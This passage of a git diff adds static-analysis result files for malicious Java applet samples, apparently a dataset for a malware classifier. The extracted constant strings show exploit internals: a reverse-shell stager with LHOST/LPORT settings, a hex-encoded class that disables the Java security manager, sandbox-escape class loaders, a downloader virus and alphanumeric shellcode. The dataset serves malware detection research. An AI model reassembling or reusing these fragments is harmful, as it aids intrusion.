"java_malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e", "_id": "dc16234f-694f-471f-9998-1869025445f4", "score": 0, "entropy": 5.558313351897247, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1802, "ssdeep": "48:wkHyvgCR+N+M6uGUEgT52nOtQa95vfbh4o4:6Z1urEy5vzao4", "sha256": "ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e", "md5": "80e054d95ffa148cd81202931800095d", "parent_sha256": "ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288.results b/java_classification/data/malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288.results new file mode 100755 index 0000000..bd9810a --- /dev/null +++ b/java_classification/data/malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IWStKddR.java", "class_name": "aHrMCrboe/IWStKddR", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "xXBpfv", "NsXYAvL", "teZtB"], "minor_version": 0, "const_pool_count": 183}}, "_id": "d5202a7f-6202-48c4-9ae4-6a7c9fbebe90", "metadata": {"mimetype": "application/x-java-applet", "sha1": "4b3913447b6479ebe9012ad55d83b00f2e950a78", "file_name": "java_malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288", "_id": "d5202a7f-6202-48c4-9ae4-6a7c9fbebe90", "score": 0, "entropy": 5.4243131609569595, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3202, "ssdeep": "96:l+EQTmFlsak7HD8J8flMeEyEu06UeECVq6hO/a0+EOlEuUYb0+ECIjO06UeEyEu8:l+ENl27HD8JeaeEyEu06UeECVq6hUa09", "sha256": "cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288", "md5": "cb3426a7e5bddc01beff1d2bb501feca", "parent_sha256": "cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288"}} \ No newline at end of file diff --git a/java_classification/data/malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d.results b/java_classification/data/malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d.results new file mode 100755 index 0000000..8e5a5c7 --- /dev/null +++ b/java_classification/data/malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Zigiga", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Sonzt", "Gkla", "NAlgi", "Lcjkz", ""], "minor_version": 0, "const_pool_count": 121}}, "_id": "8a2b911d-df2a-4e0e-a007-04881519d267", "verbose": {"java": {"constant strings": ["", "write", "java.io.BytWeArWrayOWutputStWreWam"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ec1eeb48b3c3f388eb24f4c3315fd3636dc6447", "file_name": "java_malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d", "_id": "8a2b911d-df2a-4e0e-a007-04881519d267", "score": 0, "entropy": 5.532336318038418, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1980, "ssdeep": "24:gEeCAZhyQ2zB+kX5R8gkkclwZF+9s8nlavagBbdAC2Xl87p04MxWyalgZeJm1A:pwyP9+kXH8gbcOkPgT52187PMxWyal7", "sha256": "cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d", "md5": "ed403ca5ae0df306fe3602df795a187d", "parent_sha256": "cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06.results b/java_classification/data/malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06.results new file mode 100755 index 0000000..52beed6 --- /dev/null +++ b/java_classification/data/malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Iggir", "access_permissions": ["ACC_SUPER"], "major_version": 50, "method_names": ["getNumDataElements", "", "Flomma", ""], "minor_version": 0, "const_pool_count": 63}}, "_id": "c20d8ce7-be3c-4749-8bc9-0c2f4d3c7577", "verbose": {"java": {"constant strings": ["java.security.", "CodeSource"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "080711e93b0f3a919c212b43189cedc59126f8f7", "file_name": "java_malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06", "_id": "c20d8ce7-be3c-4749-8bc9-0c2f4d3c7577", "score": 0, "entropy": 5.40748178251259, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1041, "ssdeep": "24:OE2PgFN/Ww35gJaYcip2Kgk8GO+gJJS2D:OxPENeM5gsYXpzgkcJUo", "sha256": "d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06", "md5": "664993c15fe21cb562c09834f9f45457", "parent_sha256": "d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d065da39c6117839e42aefabde0e5a4cc0f48761f6aff43a29317e1a90f6b825.results b/java_classification/data/malicious/d065da39c6117839e42aefabde0e5a4cc0f48761f6aff43a29317e1a90f6b825.results new file mode 100755 index 0000000..66b43a9 --- /dev/null +++ b/java_classification/data/malicious/d065da39c6117839e42aefabde0e5a4cc0f48761f6aff43a29317e1a90f6b825.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "x", "class_name": "load/JarMain", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["ALLATORIxDEMOxUnrecomClassLoader", "loadClass", "findClass", "getResourceAsStream", "super", "", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "super", "super", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "ALLATORIxDEMOxUnrecomClassLoader", "main"], "minor_version": 0, "const_pool_count": 312}}, "_id": "93037a68-1180-4e9e-b842-fe9308538790", "verbose": {"java": {"signatures": ["Ljava/util/HashMap;", "Ljava/util/HashMap;"], "constant strings": ["", "z\\x17Wu^4G1\\x1e\"R(", "i", "h", "\\x1f3\\\\0T5", "v", "w", "\\x1e2X4K*", "p\\x10o\\n\\x0c\\x15q\\x0ce\\x0bw\\x11\\x04\\x01\\x15\\r", "?y{h\\x0e~\\x1co\\ta\\x0c\\n Q>Ki", "n\\x02", "_\\x1f~\\x18y\\x1bz\\x17v\\x1f~\\x18y\\x1a{\\x19x\\x17v\\x12sX9<]\\x17v\\x04e;Z\\x17v\\x1f~\\x18y\\x1bz\\x17v\\x1f~\\x18y\\x1a{\\x19x>v\\x11p[:?^\\x14u\\x07f8Y\\x14u\\x1c}\\x1bz\\x18y\\x14u\\x1c}\\x1bz\\x19x\\x1a{\\x14u\\x11p[:?^\\x14u\\x07f8Y\\x14u\\x1fW\\x18z\\x18y\\x14u\\x1c}\\x1by\\x1ax\\x19{\\x14u\\x12p[:?]\\x17u\\x04e;Y\\x17v\\x1f}\\x18y\\x18y\\x17v\\x1f}\\x1bz\\x19x\\x1a{\\x14v;s[:?^\\x14u\\x07e8Z\\x14v\\x1c}\\x1by\\x18y\\x14v\\x1c~\\x1bz\\x1ax\\x1ax\\x14v\\x11s[9?^\\x17u\\x07f8Y\\x14u\\x1c}\\x18P\\x1by\\x14u\\x1c}\\x1bz\\x1a{\\x19{\\x17u\\x11pX:?^\\x17v\\x04f8Z\\x14u\\x1f}\\x18z\\x1bz\\x14u\\x1c~\\x1bz\\x19x\\x1a{\\x14u\\x11sq9?^\\x14u\\x07f8Z\\x14v\\x1c~\\x18y\\x18z\\x17v\\x1c~\\x1by\\x19x\\x19{\\x14v\\x12s[9?]\\x14v\\x04e8Y\\x14u\\x1c}\\x1bz\\x1bS\\x17u\\x1c}\\x1bz\\x19x\\x1a{\\x14u\\x11p[:?^\\x14u\\x07f8Y\\x14u\\x1c}\\x1bz\\x18y\\x14u\\x1c}\\x1bz\\x19x\\x1a{\\x14u\\x11p[9\\x15]\\x14\\x1aE m\\nW4H4T4\\x18;Mu}1W;M7H2\\x14\\x1aS6\\x0ei|\\x1f@:UfnL\\x1ae\\x1c\\x19~\\x17wy\\x17_\\x1f}\\x1bz\\x19x\\x1a{\\x14u\\x11p[:?^\\x14u\\x07f8Y\\x14u\\x1c}\\x1bz\\x18y\\x14u\\x1c}\\x1bz\\x19x\\x1a{\\x14u\\x11p[:?]>v\\x07f8Y\\x14u\\x1c}\\x1bz\\x181@!Lg\\x14uN/MuU9]1\\x0fum\\x17\\x1a6H+8Y\\x14u\\x1c}\\x1bz\\x18y\\x14u\\x1fW\\x18z\\x19x\\x1a{\\x14u\\x11p[:?^\\x14u\\x07f8Y\\x14u\\x1c}\\x1bz\\x18y\\x14u\\x1c}\\x1bz\\x19x\\x1a{\\x14u\\x11p[:?^\\x14v-e;Z\\x17v\\x1f~\\x18y\\x1bz\\x17v\\x1f~\\x18y\\x1a{\\x19x\\x17v\\x12sX9<]\\x17v\\x04e;Z\\x17v\\x1f~\\x18y\\x1bz\\x17v\\x1f~\\x18P", "};U>R5", "Q", "Eppa", "NGbe"], "minor_version": 0, "const_pool_count": 160}}, "_id": "1df4f477-ffb0-4eba-999d-68b21b46e3e3", "verbose": {"java": {"constant strings": ["java.securi", "ty.Al", "lPermission", "add", "java.security.Permission", "java.security.Code", "Source", "java.security.PermissionCollection", "java.security.Protect", "ionDomain", "java.io.BytWeArWrayOWutputStWreWam", "cl", "ose"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5e53d4cb83d34e8c8911c76fcc98f271a6fc79bd", "file_name": "java_malicious/d0e3be4f344d7c0ef63eaeb3e405fadb314ccc768448d62e90647c2a734a5ca6", "_id": "1df4f477-ffb0-4eba-999d-68b21b46e3e3", "score": 0, "entropy": 5.680012641340636, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2286, "ssdeep": "48:B/prqZjybpSyLVXpFgYKUWSgng2UElApNVnF3BSw7/8ZIvKx:lnrgYVdkla3BSw8x", "sha256": "d0e3be4f344d7c0ef63eaeb3e405fadb314ccc768448d62e90647c2a734a5ca6", "md5": "47118f58baa0523aae3c5184eb7bc7df", "parent_sha256": "d0e3be4f344d7c0ef63eaeb3e405fadb314ccc768448d62e90647c2a734a5ca6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2.results b/java_classification/data/malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2.results new file mode 100755 index 0000000..b9029cb --- /dev/null +++ b/java_classification/data/malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "pyscedwc.java", "class_name": "wjrqfstrvkwwtlg/pyscedwc", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "asd", "fhpflfb", "hgedguwqyhjdhljcbfbm"], "minor_version": 0, "const_pool_count": 272}}, "_id": "8070fa54-80c1-4b6e-be6a-da9003d50877", "verbose": {"java": {"constant strings": ["8nqrrl7ejs1pkth", "dnlz7w3p6dshjfbc8wb5umk", "t5nmqnf81wlpwwe3qe0tvzpqb", "d637cb1kpe062mm8ewzqmwjj7fdld36cd", "wsguzfdffd2bv5cabcd7vgjhpd", "0b46695218140b7a7c4a31", "9FSp5B", "5b640f", "jd3jY8", "afbe4v", "q48qs6c5b7vw0t6sr8b1auc47ceeh0s3e", "usre2r", "57650c7339126b49654f557449792c", "ha4sVIK", "697567", "781e52571c6b4923260d3e4408036b1e4278134b14182e741b156d3d25663b3a5802144a5b0b0e4919492e0f38786b22251f6c4d25530139357d066214310b173f116b21736f13693c27133d4e5604123f5d0c0c3c1d3f2a0a3b0e6f27231d184c54257b3e410e726d1f400b113e156a2f711b116c3a21613a4e5904153b5b7f0a3b1f4a2f0b380a6a2425196d3d21230e3e410c051e1e350f653d66692d046862634e55123c4f2a03103f5d0c0c3b1538280d3e096d27231c6a4e26260b3e440803691d417b1139156f2e741e666c3920173b405870104a5b0f0a4a1b4a2e0e390c6a25241e6d4c20540f3d447d056b1a430c613e666f21731f111e382614394f28056639540a0f391f392d0b380f6820211a6e4f53270b3f430c026d1f400811391560597c68111f4956124f3c5806143f5d7f0c3e1d3f280c3b7b6d2723196d4821230f3b400904631a430a1739116c5a716f151a3a26143b4f5f0164392e0a0d3a68392f0f480d1b21211a1a4f23270b3e420b716d15400a103912692f001c136b3f", "l8Yrm", "785c4162280657", "GXyb", "0f4b735b55007f496e6862516778377e7f5f41726f", "tlDNqvL", "4f477f3d5d21793260762643477971497d38", "4mS6yuL", "2c6355627f36516c5e457768", "WOusKuC", "63676c4279046d6e6762", "DgCGwQF"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4a43182746beb224deb1c9418fe1d1490139cb61", "file_name": "java_malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2", "_id": "8070fa54-80c1-4b6e-be6a-da9003d50877", "score": 0, "entropy": 6.009502724805557, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 5667, "ssdeep": "96:b9ZlgMLNBIQM+V18hbSaXK5LVFLwysrTaR/VCzH76pFUgqw:flgML3IQM+P8ho5Fbt6H76pmw", "sha256": "d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2", "md5": "e73bc8fdce7155cb2793f388039b99d6", "parent_sha256": "d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2.results b/java_classification/data/malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2.results new file mode 100755 index 0000000..ed16e83 --- /dev/null +++ b/java_classification/data/malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "be93a29f.java", "class_name": "be93a29f", "access_permissions": ["ACC_PUBLIC"], "major_version": 45, "method_names": ["insert", ""], "minor_version": 3, "const_pool_count": 178}}, "_id": "9b99ff93-ea29-4bab-a9bc-b3f29a4460ca", "verbose": {"java": {"constant strings": ["()I", "()Ljava/io/InputStream;", "()Ljava/lang/Object;", "()Ljava/lang/String;", "()Ljava/net/URLConnection;", "()V", "(Ljava/lang/Class;)V", "(Ljava/lang/String;)Ljava/lang/Class;", "(Ljava/lang/String;)Ljava/lang/StringBuffer;", "(Ljava/lang/String;)V", "(Ljava/lang/String;Z)Ljava/lang/Class;", "(Ljava/lang/String;[BII)Ljava/lang/Class;", "([B)I", ".class", "", "BeanHive", "BeanHive.java", "Code", "ConstantValue", "Exceptions", "Landing Camel International (c) 1999 [Codebreakers]", "LocalVariables", "SourceFile", "Virus", "append", "close", "defineClass", "findSystemClass", "getContentLength", "getInputStream", "http://www.codebreakers.org/", "java/io/InputStream", "java/lang/Class", "java/lang/ClassFormatError", "java/lang/ClassLoader", "java/lang/ClassNotFoundException", "java/lang/Exception", "java/lang/Runnable", "java/lang/StringBuffer", "java/net/URL", "java/net/URLConnection", "loadClass", "newInstance", "openConnection", "read", "resolveClass", "run", "toString"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b49b3272435b9dcae16a8f29b4ae6f4faee244ed", "file_name": "java_malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2", "_id": "9b99ff93-ea29-4bab-a9bc-b3f29a4460ca", "score": 0, "entropy": 5.926524680366738, "libmagic": "compiled Java class data, version 45.3", "file_size": 4025, "ssdeep": "48:SmfOL+X07rG+Zc4hlui/ZQlW2A8X2LPA4zTnyrieAquDYOOTmdMFK2YAhO4Pyamj:BGwzA8X2L0yY3bhyxpVmC95b", "sha256": "d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2", "md5": "55a86357159fd9dc496c2fc5947a32b9", "parent_sha256": "d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1.results b/java_classification/data/malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1.results new file mode 100755 index 0000000..3dbadbc --- /dev/null +++ b/java_classification/data/malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "ce381bb9-5427-465b-a257-bfd4738772c6", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,Il,PJ,0l,Pz,0l,Pl,Pl,PN,p9,yk,KU,PS,0w,ps,oS,Ti,1P,07,pg,ps,0L,KS,pV,ll,KP,pU,LN,MN,ka,xG,PK,0s,Md,L0,3s,DG,sN,vX,ky,cL,K2,H5,XL,Kj,Wa,zw,tr,y8,hl,OS,0e,P7,pI,rY,iu,8R,Op,ne,Ps,0r,HB,UQ,bR,LB,MB,t9,oF,vl,Kk,Xi,xB,YC,0S,0w,pL,KZ,wW,7O,pu,oS,0d,5j,Zc,wQ,GP,Gk,0w,O7,pS,EK,JL,KX,oQ,Ow,CO,9M,QZ,Lw,ts,1U,P3,0L,Ki,LP,QF,2P,S5,8F,du,QE,PC,0K,Or,vv,lb,zr,yr,qb,rN,kW,r1,CS,sk,05,ke,PR,UY,jm,Qc,KK,L6,Np,ep,xS,U2,Uc,3K,3z,KT,Ho,yG,sZ,gr,cw,tv,NQ,up,xr,Ek,vQ,SE,Xc,0q,KM,ZO,1w,tT,pL,H7,5S,0p,3K,p0,P2,p0,S0,WP,P9,or,vt,PL,CY,hu,PQ,eW,vp,jU,QS,cK,Op,Vt,DR,zR,yM,Sh,BG,tS,qO,pW,J5,P0,uL,tk,Op,Vv,hs,aP,VL,Kb,UW,Ll,K0,tP,5P,xW,sk,E0,Vn,kB,Vw,Pw,s8,u0,3Y,YQ,Yq,Qn,M6,cX,Ev,Sk,k6,oM,nv,pG,H8,rT,4D,HY,Qz,kt,M5,S8,Zq,PX,kI,a7,KU,OC,EY,wa,Nn,kq,NT,dE,SI,Me,6l,KV,lP,Kn,ka,Ng,lw,sk,mL,Ku,TN,k5,Sk,uN,KQ,NP,YK,sK,X5,PY,o9,oK,OL,NP,NT,Nj,LO,hY,nL,J4,Ns,NN,8Y,r4,3U,c9,Zn,jc,kT,vt,ZT,op,pP,ns,v3,QS,gw,pc,Xc,Dq,dB,Pe,j6,Of,Op,lP,ov,Nq,te,5P,pT,nP,lD,4F,Op,ip,np,fp,od,oD,5R,SU,aV,NU,8t,4p,mB,Lv,O2,N6,Pt,pD,rF,Q4,pd,r7,Cp,0V,TT,xt,pF,QQ,bf,Pp,8D,pD,ys,zV,Q0,2v,PT,pT,p4,vt,pU,as,b5,c5,25,cQ,sr,FF,Vf,VT,pp,W5,5u,3v,UD,vU,iP,fV,RG,G0,XB,BP,4T,xP,b1,vV,YU,bf,Xp,YC,VQ,ve,fv,Sa,sP,8F,Tc,Q0,Z4,pw,Cd,pV,Pp,3U,6W,C6,VG,pw,pA,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "39bf9205657d79026df2b84f89d6e027b5093929", "file_name": "java_malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1", "_id": "ce381bb9-5427-465b-a257-bfd4738772c6", "score": 0, "entropy": 6.117590061747573, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3180, "ssdeep": "96:HFlkcQ64qwran0dVv9cTDE2iTULNkez1zNjWZ:llkJmZQ5ApnJNiZ", "sha256": "d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1", "md5": "45528ba13d62e5669889ab4dc81a384c", "parent_sha256": "d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results b/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results new file mode 100755 index 0000000..564260c --- /dev/null +++ b/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "DOao", "Lvir", ""], "minor_version": 0, "const_pool_count": 201}}, "_id": "d6aacccb-c955-41aa-a332-55bcb9e6e804", "verbose": {"java": {"constant strings": ["param", "java.version", "_", "1.7.0_", "1.6.0_", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e2d8c4811e5c5147f165d94016ee3e709b6ce4b0", "file_name": "java_malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80", "_id": "d6aacccb-c955-41aa-a332-55bcb9e6e804", "score": 0, "entropy": 5.8960796625208385, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3231, "ssdeep": "48:go5k1udTke8ETXyK65WdUiLi8cpBPy/OX1CDrbJ0qBeJXtuyUtmwPl:gYk1uBOKgWdanyIG0qBeLOd", "sha256": "d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80", "md5": "1254ce25d6bdbb29f1666e078e003c02", "parent_sha256": "d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results b/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results new file mode 100755 index 0000000..3423535 --- /dev/null +++ b/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "XML20130422.java", "class_name": "xml20130422/XML20130422", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "hex2Byte", "init"], "minor_version": 0, "const_pool_count": 223}}, "_id": "cfa8a517-b7f5-404a-858f-4687646b2e4b", "verbose": {"java": {"constant strings": ["CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017", "XML", "XGiMsak3INDkVXg8", "", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "1", "findVirtual", "createClassLoader", "defineClass", "bn", "xiaomaolv", "si", "bs", "os.name", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87f00e7edc2cfd654a6023627011d9febb95ff08", "file_name": "java_malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9", "_id": "cfa8a517-b7f5-404a-858f-4687646b2e4b", "score": 0, "entropy": 5.897283821024144, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6134, "ssdeep": "96:Qu+CWKsRhIZiNqzyIZYSjFAl8J3GdiojNoNzOZJSlZyNu7rFDsyT2fevsnHGHGH2:aCZoIUDImQAl8B0iojNoNzYJSlZyNuFZ", "sha256": "d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9", "md5": "e56acb49730d99b1b22b33a293c476d9", "parent_sha256": "d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results b/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results new file mode 100755 index 0000000..4624048 --- /dev/null +++ b/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "wYCtvsZJBW/jdwtOOE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "ec10520f-cded-4fe7-b2f2-a6937197296f", "verbose": {"java": {"constant strings": ["wYCtvsZJBW.jdwtOOE", ".class", "/wYCtvsZJBW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "wYCtvsZJBW.dat", "URL", "", "https:", "wYCtvsZJBW/jdwtOOETrustManager.class", "jdwtOOETrustManager.class", "AESPassword", "wYCtvsZJBW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "wYCtvsZJBW.jdwtOOETrustManager", "useFor", "java.net.URLConnection", "wYCtvsZJBW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "jdwtOOE -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "520d0c651f949daee92545b86289961effae0198", "file_name": "java_malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616", "_id": "ec10520f-cded-4fe7-b2f2-a6937197296f", "score": 0, "entropy": 6.145212122808507, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMLDUBL+WBRThm4/ZxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tVLDtm4ByNvpvUrKYvCkgHzbDrDF", "sha256": "d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616", "md5": "c097ed7b132d9d214272439da4831c05", "parent_sha256": "d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616"}} \ No newline at end of file diff --git a/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results b/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results new file mode 100755 index 0000000..248d7f2 --- /dev/null +++ b/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "c1336af1-9f9d-4ba7-a9b2-9aad74ac07ce", "verbose": {"java": {"constant strings": 